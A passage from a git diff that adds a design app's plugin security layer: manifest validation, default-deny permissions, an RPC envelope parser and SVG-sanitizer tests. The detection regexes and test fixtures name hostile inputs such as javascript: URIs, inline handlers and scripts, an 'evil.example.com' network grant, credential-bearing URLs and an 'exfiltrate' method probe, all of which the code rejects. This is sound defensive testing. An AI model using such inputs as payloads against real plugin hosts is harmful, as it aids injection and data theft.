plugin targets plugin API v${maj} which this Canvix no longer supports (v${hostMajor}.${hostMinor})`,+ )+ } else if (min > hostMinor) {+ errors.push(+ `this plugin needs plugin API v${maj}.${min} — this Canvix speaks v${hostMajor}.${hostMinor}; update Canvix`,+ )+ }+ }++ // ── id ──+ const id = raw.id+ if (typeof id !== 'string' || !ID_RE.test(id) || id.length > 80) {+ errors.push('id must look like "com.example.plugin" — lowercase, dots/hyphens, 2–80 chars')+ } else if (!opts.allowFirstParty && (id.startsWith('com.canvix.') || id === 'canvix')) {+ errors.push('ids under com.canvix.* are reserved for plugins bundled with Canvix')+ }++ // ── name / description / version / author ──+ const name = raw.name+ if (typeof name !== 'string' || name.trim().length < 1 || name.length > 80) {+ errors.push('name must be 1–80 characters')+ }+ if (raw.description !== undefined && (typeof raw.description !== 'string' || raw.description.length > 280)) {+ errors.push('description must be a string of at most 280 characters')+ }+ const version = raw.version+ if (typeof version !== 'string' || !parseSemver(version)) {+ errors.push('version must be semver, e.g. "1.0.0"')+ }+ if (raw.author !== undefined) {+ if (!isPlainObject(raw.author) || typeof raw.author.name !== 'string' || raw.author.name.length < 1 || raw.author.name.length > 80) {+ errors.push('author.name must be 1–80 characters')+ } else if (raw.author.url !== undefined) {+ try {+ const u = new URL(String(raw.author.url))+ if (u.protocol !== 'https:') errors.push('author.url must be https:')+ } catch {+ errors.push('author.url must be a valid URL')+ }+ }+ }++ // ── engines.canvix ──+ const engines = raw.engines+ if (!isPlainObject(engines) || typeof engines.canvix !== 'string' || !isValidRange(engines.canvix)) {+ errors.push('engines.canvix must be a semver range, e.g. ">=0.13.0 <0.14.0"')+ } else if (!matchesRange(opts.hostAppVersion, engines.canvix)) {+ errors.push(+ `this plugin needs Canvix ${engines.canvix} — this instance is ${opts.hostAppVersion}`,+ )+ }++ // ── entry ──+ const entry = raw.entry+ const elementsRaw = raw.elements+ const hasElements = Array.isArray(elementsRaw) && elementsRaw.length > 0+ if (!isPlainObject(entry)) {+ errors.push('entry must be an object, e.g. { "panel": "panel.html" }')+ } else if (entry.panel !== undefined && !isSafeEntryPath(entry.panel)) {+ errors.push('entry.panel must be a relative .html path inside the plugin (no "..", no absolute paths)')+ } else if (entry.panel === undefined && !hasElements) {+ errors.push('a plugin must declare entry.panel and/or elements — otherwise it does nothing')+ }++ // ── permissions ──+ const perms = normalizePermissions(raw.permissions)+ if (!perms.ok) {+ errors.push(`permissions: ${perms.error}`)+ }++ // ── elements ──+ const elements: PluginElementSpec[] = []+ if (elementsRaw !== undefined) {+ if (!Array.isArray(elementsRaw) || elementsRaw.length === 0) {+ errors.push('elements must be a non-empty array when present')+ } else if (elementsRaw.length > MAX_ELEMENTS) {+ errors.push(`at most ${MAX_ELEMENTS} element types per plugin`)+ } else {+ const kinds = new Set<string>()+ for (let i = 0; i < elementsRaw.length; i++) {+ const e = elementsRaw[i]+ const where = `elements[${i}]`+ if (!isPlainObject(e)) {+ errors.push(`${where}: must be an object`)+ continue+ }+ if (typeof e.kind !== 'string' || !KIND_RE.test(e.kind)) {+ errors.push(`${where}: kind must be a lowercase slug like "cloud"`)+ continue+ }+ if (kinds.has(e.kind)) errors.push(`${where}: duplicate kind "${e.kind}"`)+ kinds.add(e.kind)+ if (typeof e.label !== 'string' || e.label.trim().length < 1 || e.label.length > 40) {+ errors.push(`${where}.${e.kind}: label must be 1–40 characters`)+ }+ if (!isPlainObject(e.initialData)) {+ errors.push(`${where}.${e.kind}: initialData must be an object`)+ continue+ }+ const capErr = checkCloneSafe(e.initialData)+ if (capErr) errors.push(`${where}.${e.kind}: initialData ${capErr}`)++ const schema: PluginFieldSpec[] = []+ if (e.schema !== undefined) {+ if (!Array.isArray(e.schema) || e.schema.length === 0) {+ errors.push(`${where}.${e.kind}: schema must be a non-empty array when present`)+ } else if (e.schema.length > MAX_FIELDS) {+ errors.push(`${where}.${e.kind}: at most ${MAX_FIELDS} schema fields`)+ } else {+ const keys = new Set<string>()+ for (const f of e.schema) {+ const err = validateField(f, `${where}.${e.kind}`)+ if (err) {+ errors.push(err)+ continue+ }+ const spec = f as PluginFieldSpec+ if (keys.has(spec.key)) errors.push(`${where}.${e.kind}: duplicate schema key "${spec.key}"`)+ keys.add(spec.key)+ // coherence: initialData must carry every schema key, validly+ if (!(spec.key in e.initialData)) {+ errors.push(`${where}.${e.kind}: initialData is missing "${spec.key}" from the schema`)+ } else if (!valueMatchesField(e.initialData[spec.key], spec)) {+ errors.push(`${where}.${e.kind}: initialData.${spec.key} does not match its ${spec.type} schema`)+ }+ schema.push(spec)+ }+ }+ }+ elements.push({+ kind: e.kind as string,+ label: e.label as string,+ initialData: e.initialData,+ schema,+ })+ }+ }+ }++ if (errors.length) return { ok: false, errors }++ const m: PluginManifest = {+ canvixPluginApi: api as string,+ id: id as string,+ name: name as string,+ ...(raw.description !== undefined ? { description: raw.description as string } : {}),+ version: version as string,+ ...(isPlainObject(raw.author)+ ? { author: raw.author as { name: string; url?: string } }+ : {}),+ engines: { canvix: (engines as { canvix: string }).canvix },+ entry: isPlainObject(entry)+ ? entry.panel !== undefined+ ? { panel: entry.panel as string }+ : {}+ : {},+ permissions: perms.ok ? perms.permissions : [],+ elements,+ }+ return {+ ok: true,+ manifest: m,+ networkOrigins: perms.ok ? perms.networkOrigins : [],+ }+}++// ── install-time HTML packaging rule (§4.2) ───────────────────+//+// The serve route's CSP has no `unsafe-inline` for scripts, so an+// inline <script> can never run — this check exists so a broken+// plugin fails at INSTALL (clear error) instead of at RUN (silent+// dead UI), and so `script-src 'self'` stays defensible.++const SCRIPT_TAG_RE = /<script\b([^>]*)>([\s\S]*?)<\/script\s*>/gi+const SCRIPT_SRC_RE = /src\s*=\s*("([^"]*)"|'([^']*)'|([^\s>]+))/i+const JS_URI_RE = /javascript\s*:/i+const ON_HANDLER_RE = /\son[a-z]+\s*=/i+const SAFE_ASSET_PATH_RE = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,118}$/++/** Max size for one served HTML file. */+export const MAX_ENTRY_HTML_BYTES = 512 * 1024++/**+ * Packaging rules for a plugin's entry HTML. Returns null when+ * clean, or the first violation found.+ */+export function checkEntryHtml(html: string): string | null {+ if (typeof html !== 'string') return 'entry HTML must be a string'+ if (html.length > MAX_ENTRY_HTML_BYTES) {+ return `entry HTML is ${html.length} bytes — the cap is ${MAX_ENTRY_HTML_BYTES}`+ }+ if (JS_URI_RE.test(html)) return 'entry HTML must not contain javascript: URIs'+ if (ON_HANDLER_RE.test(html)) return 'entry HTML must not contain inline event handlers (onclick=…)'+ let m: RegExpExecArray | null+ SCRIPT_TAG_RE.lastIndex = 0+ while ((m = SCRIPT_TAG_RE.exec(html)) !== null) {+ const attrs = m[1] ?? ''+ const body = m[2] ?? ''+ const src = SCRIPT_SRC_RE.exec(attrs)+ if (!src) {+ if (body.trim()) return 'entry HTML must not contain inline <script> blocks (use <script src="app.js">)'+ continue // empty script tag is pointless but harmless+ }+ const srcValue = src[2] ?? src[3] ?? src[4] ?? ''+ if (srcValue.includes('..') || srcValue.includes('\\')) {+ return `script src "${srcValue}" must stay inside the plugin directory`+ }+ if (!SAFE_ASSET_PATH_RE.test(srcValue)) {+ return `script src "${srcValue}" must be a relative path (no schemes or absolute URLs)`+ }+ }+ return null+}diff --git a/src/lib/plugins/permissions.test.ts b/src/lib/plugins/permissions.test.tsnew file mode 100644index 0000000..c2f21ff--- /dev/null+++ b/src/lib/plugins/permissions.test.ts@@ -0,0 +1,125 @@+import { describe, expect, it } from 'vitest'+import {+ HOST_CALL_METHODS,+ MAX_NETWORK_ORIGINS,+ describePermission,+ methodAllowed,+ normalizePermissions,+ parsePermission,+ requiredPermission,+} from './permissions'++// P1 security boundary: permissions are manifest-declared,+// user-granted, broker-enforced — default-deny everywhere.++describe('parsePermission', () => {+ it('accepts the five catalog permissions', () => {+ for (const p of ['design:read', 'design:write', 'element:plugin', 'storage', 'ui:notify']) {+ expect(parsePermission(p)?.permission).toBe(p)+ }+ })++ it('canonicalises network permissions through the CSP origin parser', () => {+ expect(parsePermission('network:https://api.example.com')).toEqual({+ permission: 'network:https://api.example.com',+ name: 'network',+ origin: 'https://api.example.com',+ })+ // trailing junk collapses to the origin+ expect(parsePermission('network:https://api.example.com/path?q=1')?.permission).toBe(+ 'network:https://api.example.com',+ )+ expect(parsePermission('network:http://127.0.0.1:8787')?.origin).toBe('http://127.0.0.1:8787')+ })++ it('rejects unknown, malformed and smuggled permissions', () => {+ for (const bad of [+ 'design:admin', // not in catalog+ 'network:http://evil.example.com', // plain http off-loopback+ 'network:', // empty origin+ 'network:https://user:[email protected]', // credentials+ 'storage:extra', // smuggled suffix+ '*', '', 'DESIGN:READ',+ ]) {+ expect(parsePermission(bad)).toBeNull()+ }+ })+})++describe('describePermission (consent screen copy)', () => {+ it('mentions the origin for network grants and stays plain-language', () => {+ const d = describePermission(parsePermission('network:https://api.example.com')!)+ expect(d).toContain('https://api.example.com')+ for (const p of ['design:read', 'design:write', 'element:plugin', 'storage', 'ui:notify']) {+ expect(describePermission(parsePermission(p)!).length).toBeGreaterThan(10)+ }+ })+})++describe('normalizePermissions', () => {+ it('splits and dedupes permissions vs network origins', () => {+ const r = normalizePermissions([+ 'design:read',+ 'design:read',+ 'network:https://a.example.com',+ 'network:https://a.example.com/',+ 'storage',+ ])+ expect(r).toEqual({+ ok: true,+ permissions: ['design:read', 'storage'],+ networkOrigins: ['https://a.example.com'],+ })+ })++ it('fails closed on any unknown entry', () => {+ expect(normalizePermissions(['design:read', 'design:nuke']).ok).toBe(false)+ expect(normalizePermissions('design:read').ok).toBe(false)+ expect(normalizePermissions(undefined).ok).toBe(false)+ })++ it('caps network origins', () => {+ const many = Array.from({ length: MAX_NETWORK_ORIGINS + 1 }, (_, i) => `network:https://s${i}.example.com`)+ expect(normalizePermissions(many).ok).toBe(false)+ })+})++describe('requiredPermission / methodAllowed (broker discipline)', () => {+ it('maps every §4.3 method to its permission', () => {+ expect(requiredPermission('info')).toBeNull()+ expect(requiredPermission('ping')).toBeNull()+ expect(requiredPermission('design.getSnapshot')).toBe('design:read')+ expect(requiredPermission('subscribe')).toBe('design:read')+ expect(requiredPermission('actions.apply')).toBe('design:write')+ expect(requiredPermission('elements.registerRenderer')).toBe('element:plugin')+ expect(requiredPermission('storage.get')).toBe('storage')+ expect(requiredPermission('storage.set')).toBe('storage')+ expect(requiredPermission('ui.notify')).toBe('ui:notify')+ expect(requiredPermission('ui.closePanel')).toBe('ui:notify')+ })++ it('returns undefined for unknown methods (E_METHOD, not E_PERMISSION)', () => {+ expect(requiredPermission('design.exfiltrate')).toBeUndefined()+ expect(requiredPermission('eval')).toBeUndefined()+ expect(requiredPermission('__proto__')).toBeUndefined()+ })++ it('enforces default-deny for granted lists', () => {+ const none: string[] = []+ expect(methodAllowed('info', none)).toBe(true)+ expect(methodAllowed('ping', none)).toBe(true)+ expect(methodAllowed('design.getSnapshot', none)).toBe(false)+ expect(methodAllowed('actions.apply', ['design:read'])).toBe(false)+ expect(methodAllowed('actions.apply', ['design:read', 'design:write'])).toBe(true)+ // a method that does not exist is never allowed+ expect(methodAllowed('design.exfiltrate', ['design:read', 'design:write'])).toBe(false)+ })++ it('keeps host→plugin calls in a separate catalog', () => {+ expect(HOST_CALL_METHODS.has('elements.render')).toBe(true)+ expect(HOST_CALL_METHODS.has('event')).toBe(true)+ // the broker must never accept host-only methods FROM a plugin+ expect(requiredPermission('elements.render')).toBeUndefined()+ expect(requiredPermission('event')).toBeUndefined()+ })+})diff --git a/src/lib/plugins/permissions.ts b/src/lib/plugins/permissions.tsnew file mode 100644index 0000000..504b7b9--- /dev/null+++ b/src/lib/plugins/permissions.ts@@ -0,0 +1,154 @@+// ─────────────────────────────────────────────────────────────+// Plugin permissions — the middle leg of the trust chain+// (research/PLUGIN-SYSTEM.md §4.6):+//+// manifest DECLARES → consent screen GRANTS → broker ENFORCES+//+// Everything here is default-deny: a method with no matching+// granted permission answers E_PERMISSION at the RPC broker, and+// an undeclared-but-requested network origin never reaches the+// serve-route CSP (plugin-csp.ts) at all.+// ─────────────────────────────────────────────────────────────++import { parseGrantedOrigin } from '@/lib/security/plugin-csp'++/** Permissions a manifest may declare (§4.6). `network:<origin>` is repeatable. */+export const PLUGIN_PERMISSIONS = [+ 'design:read',+ 'design:write',+ 'element:plugin',+ 'storage',+ 'ui:notify',+] as const++export type PluginPermission = (typeof PLUGIN_PERMISSIONS)[number]++/** Hard caps so a manifest cannot spam the consent screen. */+export const MAX_NON_NETWORK_PERMISSIONS = 8+export const MAX_NETWORK_ORIGINS = 5++export interface ParsedPermission {+ /** canonical form, e.g. `design:read` or `network:https://api.example.com` */+ permission: string+ name: PluginPermission | 'network'+ /** only for `network` — the validated https (or loopback) origin */+ origin?: string+}++/**+ * Parse and canonicalise one permission string.+ * Returns null for anything not in the catalog — unknown+ * permissions block install (never a silent no-op).+ */+export function parsePermission(raw: string): ParsedPermission | null {+ if (typeof raw !== 'string') return null+ const value = raw.trim()+ if ((PLUGIN_PERMISSIONS as readonly string[]).includes(value)) {+ return { permission: value, name: value as PluginPermission }+ }+ if (value.startsWith('network:')) {+ const origin = parseGrantedOrigin(value.slice('network:'.length))+ if (!origin) return null+ return { permission: `network:${origin}`, name: 'network', origin }+ }+ return null+}++/** Plain-language line for the consent screen (§4.2: verbatim, user-readable). */+export function describePermission(p: ParsedPermission): string {+ switch (p.name) {+ case 'design:read':+ return 'Read the design you have open — pages, elements and their properties'+ case 'design:write':+ return 'Add, edit and delete elements in this design (via Canvix\u2019s undoable actions)'+ case 'element:plugin':+ return 'Add its own element types to the canvas and draw them'+ case 'storage':+ return 'Remember its settings in this browser (namespaced, 256 KB cap)'+ case 'ui:notify':+ return 'Show toast notifications and close its own panel'+ case 'network':+ return `Send and receive data with ${p.origin} — the only server it may contact`+ }+}++/**+ * Validate a manifest's whole permission list.+ * Output is what install records and the consent screen show.+ */+export function normalizePermissions(+ raw: unknown,+): { ok: true; permissions: string[]; networkOrigins: string[] } | { ok: false; error: string } {+ if (!Array.isArray(raw)) return { ok: false, error: 'permissions must be an array' }+ const permissions: string[] = []+ const networkOrigins: string[] = []+ for (const item of raw) {+ const parsed = parsePermission(item)+ if (!parsed) {+ return { ok: false, error: `unknown permission ${JSON.stringify(item)}` }+ }+ if (parsed.name === 'network') {+ if (!networkOrigins.includes(parsed.origin!)) networkOrigins.push(parsed.origin!)+ if (networkOrigins.length > MAX_NETWORK_ORIGINS) {+ return { ok: false, error: `at most ${MAX_NETWORK_ORIGINS} network origins are allowed` }+ }+ } else if (!permissions.includes(parsed.permission)) {+ permissions.push(parsed.permission)+ }+ }+ if (permissions.length > MAX_NON_NETWORK_PERMISSIONS) {+ return { ok: false, error: `at most ${MAX_NON_NETWORK_PERMISSIONS} non-network permissions are allowed` }+ }+ return { ok: true, permissions, networkOrigins }+}++// ── broker side: method → required permission (§4.3 table) ────++/**+ * Every plugin→host RPC method the broker understands (v1, §4.3).+ * `null` = no permission required (safe introspection only).+ */+export const RPC_METHODS: Record<string, PluginPermission | null> = {+ info: null,+ ping: null,+ 'design.getSnapshot': 'design:read',+ subscribe: 'design:read',+ 'actions.apply': 'design:write',+ 'elements.registerRenderer': 'element:plugin',+ 'storage.get': 'storage',+ 'storage.set': 'storage',+ 'storage.remove': 'storage',+ 'storage.keys': 'storage',+ 'ui.notify': 'ui:notify',+ 'ui.closePanel': 'ui:notify',+}++/**+ * Host→plugin invocations (same envelope, opposite direction):+ * the plugin side should accept exactly these.+ */+export const HOST_CALL_METHODS: ReadonlySet<string> = new Set([+ 'elements.render', // renderer contract §4.5: { data, width, height, mode }+ 'event', // subscription push: { topic: 'selection' | 'document', payload }+])++/**+ * Permission a method needs. Returns:+ * string → the required permission+ * null → method exists, no permission needed (info/ping)+ * undefined → no such method (broker answers E_METHOD)+ *+ * Object.hasOwn — a plain property lookup would happily "find"+ * `constructor` and friends on the prototype chain.+ */+export function requiredPermission(method: string): PluginPermission | null | undefined {+ return Object.hasOwn(RPC_METHODS, method) ? RPC_METHODS[method] : undefined+}++/** True when `granted` (an install's normalized permission list) covers a method. */+export function methodAllowed(method: string, granted: readonly string[]): boolean {+ const need = requiredPermission(method)+ if (need === undefined) return false+ if (need === null) return true+ return granted.includes(need)+}diff --git a/src/lib/plugins/rpc.test.ts b/src/lib/plugins/rpc.test.tsnew file mode 100644index 0000000..4375cf0--- /dev/null+++ b/src/lib/plugins/rpc.test.ts@@ -0,0 +1,124 @@+import { describe, expect, it } from 'vitest'+import { HOST_CALL_METHODS } from './permissions'+import {+ MAX_RPC_BYTES,+ RPC_API_MAJOR,+ parseRpcCall,+ parseRpcResult,+ rpcErr,+ rpcOk,+} from './rpc'++// The envelope is the whole wire protocol (§4.3): versioned,+// correlation-id'd, direction-pinned. Everything hostile — wrong+// protocol, oversized params, replay-shaped junk — must produce a+// typed error, never a throw and never a silent pass.++const CALL = { v: 1, id: 'rpc_7', dir: 'call', method: 'design.getSnapshot', params: {} } as const++describe('parseRpcCall', () => {+ it('accepts a well-formed call and round-trips its fields', () => {+ const r = parseRpcCall(CALL)+ expect(r.ok).toBe(true)+ if (r.ok) {+ expect(r.value.method).toBe('design.getSnapshot')+ expect(r.value.handshake).toBeUndefined()+ }+ })++ it('accepts an optional handshake token with a strict charset', () => {+ const ok = parseRpcCall({ ...CALL, handshake: 'aB3-x_9Z' })+ expect(ok.ok).toBe(true)+ for (const bad of ['short', 'has space', 'has/slash', ' Injection\n', '']) {+ expect(parseRpcCall({ ...CALL, handshake: bad }).ok).toBe(false)+ }+ })++ it('rejects protocol major mismatches with E_VERSION', () => {+ for (const v of [2, 0, '1', null, 1.5]) {+ const r = parseRpcCall({ ...CALL, v })+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.code).toBe('E_VERSION')+ }+ })++ it('rejects malformed shapes with E_MALFORMED', () => {+ const malformed: unknown[] = [+ null,+ 'string',+ 42,+ [],+ { v: 1, dir: 'call', method: 'info' }, // no id+ { v: 1, id: '', dir: 'call', method: 'info' }, // empty id+ { v: 1, id: 'rpc 7', dir: 'call', method: 'info' }, // space in id+ { v: 1, id: 'a'.repeat(65), dir: 'call', method: 'info' }, // too long+ { v: 1, id: 'rpc_7', dir: 'result', method: 'info' }, // wrong dir+ { v: 1, id: 'rpc_7', dir: 'call' }, // no method+ { v: 1, id: 'rpc_7', dir: 'call', method: 'Not.Lowercase' },+ { v: 1, id: 'rpc_7', dir: 'call', method: '<script>' },+ ]+ for (const m of malformed) {+ const r = parseRpcCall(m)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.code).toBe('E_MALFORMED')+ }+ })++ it('pins methods to the caller-supplied catalog via E_METHOD', () => {+ const r = parseRpcCall(CALL, { methods: HOST_CALL_METHODS })+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.code).toBe('E_METHOD')+ // unknown ≠ unauthorized: a valid but non-catalog method is E_METHOD even with no permission context+ const probe = parseRpcCall({ ...CALL, method: 'design.exfiltrate' })+ expect(probe.ok).toBe(true) // parse level: shape is fine+ })++ it('enforces payload caps with E_PAYLOAD', () => {+ const oversized = parseRpcCall({ ...CALL, params: { blob: 'x'.repeat(MAX_RPC_BYTES) } })+ expect(oversized.ok).toBe(false)+ if (!oversized.ok) expect(oversized.code).toBe('E_PAYLOAD')++ const hostile = parseRpcCall({ ...CALL, params: { sneaky: new Date() } })+ expect(hostile.ok).toBe(false)+ if (!hostile.ok) expect(hostile.code).toBe('E_PAYLOAD')++ // params are optional+ expect(parseRpcCall({ v: 1, id: 'rpc_1', dir: 'call', method: 'info' }).ok).toBe(true)+ })+})++describe('parseRpcResult', () => {+ it('accepts ok results with and without a payload', () => {+ expect(parseRpcResult(rpcOk('rpc_7', { pages: 2 }))).toEqual({+ ok: true,+ value: { v: RPC_API_MAJOR, id: 'rpc_7', dir: 'result', ok: true, result: { pages: 2 } },+ })+ expect(parseRpcResult(rpcOk('rpc_7')).ok).toBe(true)+ })++ it('accepts typed errors and rejects unknown codes', () => {+ const r = parseRpcResult(rpcErr('rpc_7', 'E_PERMISSION', 'design:read not granted'))+ expect(r.ok).toBe(true)+ const badCode = parseRpcResult({ v: 1, id: 'rpc_7', dir: 'result', ok: false, error: { code: 'E_PWNED', message: 'hi' } })+ expect(badCode.ok).toBe(false)+ if (!badCode.ok) expect(badCode.code).toBe('E_MALFORMED')+ })++ it('requires ok to be boolean and error to be {code,message}', () => {+ for (const bad of [+ { v: 1, id: 'r', dir: 'result' },+ { v: 1, id: 'r', dir: 'result', ok: 'yes' },+ { v: 1, id: 'r', dir: 'result', ok: false, error: 'just a string' },+ { v: 1, id: 'r', dir: 'result', ok: false, error: { code: 'E_METHOD' } },+ { v: 1, id: 'r', dir: 'result', ok: false, error: { code: 'E_METHOD', message: 'x'.repeat(501) } },+ ]) {+ expect(parseRpcResult(bad).ok).toBe(false)+ }+ })++ it('rejects oversized results', () => {+ const r = parseRpcResult({ v: 1, id: 'r', dir: 'result', ok: true, result: 'x'.repeat(MAX_RPC_BYTES) })+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.code).toBe('E_PAYLOAD')+ })+})diff --git a/src/lib/plugins/rpc.ts b/src/lib/plugins/rpc.tsnew file mode 100644index 0000000..09a5592--- /dev/null+++ b/src/lib/plugins/rpc.ts@@ -0,0 +1,231 @@+// ─────────────────────────────────────────────────────────────+// Plugin RPC envelope — the versioned postMessage wire format+// (research/PLUGIN-SYSTEM.md §4.3).+//+// One bidirectional envelope for both directions:+//+// plugin → host { v, id, dir: 'call', method, params }+// host → plugin { v, id, dir: 'result', ok, result | error }+// host → plugin { v, id, dir: 'call', method: 'elements.render' | 'event', params }+// plugin → host { v, id, dir: 'result', ok, result | error }+//+// `v` is the protocol MAJOR as an integer. Additive changes bump+// RPC_API_MINOR (and the manifest's `canvixPluginApi` minor);+// breaking changes bump the major, and a mismatched major is+// rejected with E_VERSION — never a silent no-op.+//+// Origin discipline (§4.3) is enforced by the broker component+// (P3), not here: this module only parses and validates envelopes+// so it is unit-testable in node with zero DOM.+// ─────────────────────────────────────────────────────────────++import { checkCloneSafe } from './data-caps'++/** Protocol major of THIS host build. */+export const RPC_API_MAJOR = 1+/** Additive minor — grows when new methods/fields are added. */+export const RPC_API_MINOR = 0++/** Byte cap per message — the collab op cap (§4.7). */+export const MAX_RPC_BYTES = 256 * 1024++export type RpcErrorCode =+ | 'E_VERSION' // protocol major mismatch+ | 'E_MALFORMED' // envelope is not a valid shape+ | 'E_PAYLOAD' // params/result violate the data caps+ | 'E_PERMISSION' // method exists but permission not granted+ | 'E_METHOD' // no such method for this direction+ | 'E_THROTTLE' // rate budget exhausted+ | 'E_NOT_FOUND' // target (element, key, install) missing+ | 'E_TIMEOUT' // deadline exceeded (renderer contract)+ | 'E_INTERNAL' // host-side failure — details in server logs only++const RPC_ID_RE = /^[A-Za-z0-9][A-Za-z0-9_.:-]{0,63}$/+// camelCase method names are the §4.3 catalog's shape+// (design.getSnapshot) — lowercase start, no underscores+const RPC_METHOD_RE = /^[a-z][a-zA-Z0-9.]{0,63}$/+const HANDSHAKE_RE = /^[A-Za-z0-9_-]{8,128}$/+const ERROR_MESSAGE_MAX = 500++export interface RpcErrorShape {+ code: RpcErrorCode+ message: string+}++export interface RpcCall {+ v: number+ id: string+ dir: 'call'+ method: string+ params?: unknown+ /** echoed one-time handshake token (first call from an iframe) */+ handshake?: string+}++export interface RpcResultOk {+ v: number+ id: string+ dir: 'result'+ ok: true+ result?: unknown+}++export interface RpcResultErr {+ v: number+ id: string+ dir: 'result'+ ok: false+ error: RpcErrorShape+}++export type RpcResult = RpcResultOk | RpcResultErr++export type ParseOk<T> = { ok: true; value: T }+export type ParseErr = { ok: false; code: RpcErrorCode; message: string }++function isPlainObject(v: unknown): v is Record<string, unknown> {+ return typeof v === 'object' && v !== null && !Array.isArray(v) && Object.getPrototypeOf(v) === Object.prototype+}++function checkCommon(data: unknown): ParseErr | { v: number; id: string } {+ if (!isPlainObject(data)) {+ return { ok: false, code: 'E_MALFORMED', message: 'message must be a plain object' }+ }+ if (data.v !== RPC_API_MAJOR) {+ return {+ ok: false,+ code: 'E_VERSION',+ message: `protocol v${String(data.v)} is not supported (host speaks v${RPC_API_MAJOR})`,+ }+ }+ if (typeof data.id !== 'string' || !RPC_ID_RE.test(data.id)) {+ return { ok: false, code: 'E_MALFORMED', message: 'id must be 1–64 chars of [A-Za-z0-9_.:-]' }+ }+ return { v: data.v, id: data.id }+}++/**+ * Parse a plugin→host (or host→plugin) CALL envelope.+ * Pass `methods` to pin the direction's method catalog — a method+ * outside it answers E_METHOD (unknown ≠ unauthorized).+ */+export function parseRpcCall(+ data: unknown,+ opts: { methods?: ReadonlySet<string> | Readonly<Record<string, unknown>> } = {},+): ParseOk<RpcCall> | ParseErr {+ const common = checkCommon(data)+ if (!('v' in common)) return common+ const raw = data as Record<string, unknown>+ if (raw.dir !== 'call') {+ return { ok: false, code: 'E_MALFORMED', message: 'dir must be "call"' }+ }+ if (typeof raw.method !== 'string' || !RPC_METHOD_RE.test(raw.method)) {+ return { ok: false, code: 'E_MALFORMED', message: 'method must be lowercase dotted identifiers' }+ }+ if (opts.methods) {+ // Object.hasOwn: 'constructor' must not "exist" via the prototype chain+ const known =+ opts.methods instanceof Set+ ? opts.methods.has(raw.method)+ : Object.hasOwn(opts.methods, raw.method)+ if (!known) {+ return { ok: false, code: 'E_METHOD', message: `unknown method "${raw.method}"` }+ }+ }+ if (raw.handshake !== undefined) {+ if (typeof raw.handshake !== 'string' || !HANDSHAKE_RE.test(raw.handshake)) {+ return { ok: false, code: 'E_MALFORMED', message: 'handshake must be 8–128 chars of [A-Za-z0-9_-]' }+ }+ }+ if (raw.params !== undefined) {+ const err = checkCloneSafe(raw.params, { maxBytes: MAX_RPC_BYTES })+ if (err) return { ok: false, code: 'E_PAYLOAD', message: err }+ }+ return {+ ok: true,+ value: {+ v: RPC_API_MAJOR,+ id: common.id,+ dir: 'call',+ method: raw.method,+ params: raw.params,+ ...(raw.handshake !== undefined ? { handshake: raw.handshake as string } : {}),+ },+ }+}++/** Parse a RESULT envelope (either direction). */+export function parseRpcResult(data: unknown): ParseOk<RpcResult> | ParseErr {+ const common = checkCommon(data)+ if (!('v' in common)) return common+ const raw = data as Record<string, unknown>+ if (raw.dir !== 'result') {+ return { ok: false, code: 'E_MALFORMED', message: 'dir must be "result"' }+ }+ if (raw.ok === true) {+ if (raw.result !== undefined) {+ const err = checkCloneSafe(raw.result, { maxBytes: MAX_RPC_BYTES })+ if (err) return { ok: false, code: 'E_PAYLOAD', message: err }+ }+ return { ok: true, value: { v: RPC_API_MAJOR, id: common.id, dir: 'result', ok: true, result: raw.result } }+ }+ if (raw.ok === false) {+ const e = raw.error+ if (!isPlainObject(e) || typeof e.code !== 'string' || typeof e.message !== 'string') {+ return { ok: false, code: 'E_MALFORMED', message: 'error must be { code, message }' }+ }+ if (!RPC_ERROR_CODES.has(e.code)) {+ return { ok: false, code: 'E_MALFORMED', message: `unknown error code "${e.code}"` }+ }+ if (e.message.length > ERROR_MESSAGE_MAX) {+ return { ok: false, code: 'E_MALFORMED', message: `error message longer than ${ERROR_MESSAGE_MAX} chars` }+ }+ return {+ ok: true,+ value: {+ v: RPC_API_MAJOR,+ id: common.id,+ dir: 'result',+ ok: false,+ error: { code: e.code as RpcErrorCode, message: e.message },+ },+ }+ }+ return { ok: false, code: 'E_MALFORMED', message: 'ok must be true or false' }+}++export const RPC_ERROR_CODES: ReadonlySet<string> = new Set<RpcErrorCode>([+ 'E_VERSION',+ 'E_MALFORMED',+ 'E_PAYLOAD',+ 'E_PERMISSION',+ 'E_METHOD',+ 'E_THROTTLE',+ 'E_NOT_FOUND',+ 'E_TIMEOUT',+ 'E_INTERNAL',+])++/** Build a success result envelope. */+export function rpcOk(id: string, result?: unknown): RpcResultOk {+ return { v: RPC_API_MAJOR, id, dir: 'result', ok: true, result }+}++/** Build a failure result envelope. */+export function rpcErr(id: string, code: RpcErrorCode, message: string): RpcResultErr {+ return { v: RPC_API_MAJOR, id, dir: 'result', ok: false, error: { code, message } }+}++let rpcCounter = 0++/** Fresh correlation id (host side). */+export function newRpcId(): string {+ rpcCounter += 1+ const rand =+ typeof crypto !== 'undefined' && 'getRandomValues' in crypto+ ? Array.from(crypto.getRandomValues(new Uint8Array(6)))+ .map((b) => b.toString(36).padStart(2, '0'))+ .join('')+ : Math.random().toString(36).slice(2, 14)+ return `rpc_${rpcCounter.toString(36)}_${rand}`+}diff --git a/src/lib/plugins/sanitize-svg.test.ts b/src/lib/plugins/sanitize-svg.test.tsnew file mode 100644index 0000000..e4964d7--- /dev/null+++ b/src/lib/plugins/sanitize-svg.test.ts@@ -0,0 +1,130 @@+import { describe, expect, it } from 'vitest'+import {+ MAX_PLUGIN_SVG_BYTES,+ MAX_PLUGIN_SVG_DEPTH,+ sanitizePluginSvg,+} from './sanitize-svg'++// Renderer output is untrusted by contract (§4.5). The sanitizer+// accepts-or-rejects, never rewrites — these tests attack it with+// the classic SVG XSS corpus plus structural abuse.++const CLOUD = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 300">+ <g><text x="10" y="50" font-size="42" fill="#7630D7">hello</text></g>+</svg>`++describe('sanitizePluginSvg — the golden path', () => {+ it('accepts a clean word-cloud-style SVG unchanged', () => {+ const r = sanitizePluginSvg(CLOUD)+ expect(r).toEqual({ ok: true, svg: CLOUD })+ })++ it('tolerates BOM, xml declaration, whitespace and comments', () => {+ const doc = '\uFEFF <?xml version="1.0"?>\n<!-- generated -->\n' + CLOUD+ expect(sanitizePluginSvg(doc).ok).toBe(true)+ })++ it('accepts internal refs and data: URLs in hrefs', 